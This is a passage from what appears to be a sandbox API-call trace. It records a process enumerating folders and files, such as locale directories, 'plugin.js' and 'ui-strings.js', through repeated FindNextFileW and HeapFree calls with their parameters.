ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0187.276] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0187.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.543] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0187.544] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.544] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0187.544] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.544] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0187.544] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.544] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0187.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.545] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0187.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.545] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0187.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.545] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0187.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.545] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0187.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.545] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0187.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.546] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0187.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.546] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0187.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.546] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0187.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.546] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0187.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.546] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0187.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.547] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0187.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.547] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0187.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.547] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0187.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.547] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0187.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.547] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0187.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.548] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0187.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.548] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0187.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.548] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0187.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.549] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0187.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.549] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0187.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.549] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0187.550] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.550] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0187.550] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.550] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0187.550] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.550] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0187.550] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.551] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0187.551] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.551] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0187.551] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.552] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0187.552] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.552] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.553] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.553] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0187.553] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.553] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0187.553] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.553] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0187.553] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0187.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0187.554] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0187.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.554] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0187.554] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0187.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0187.556] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer-select", cAlternateFileName="MY-COM~1")) returned 1 [0187.559] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.559] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0187.563] 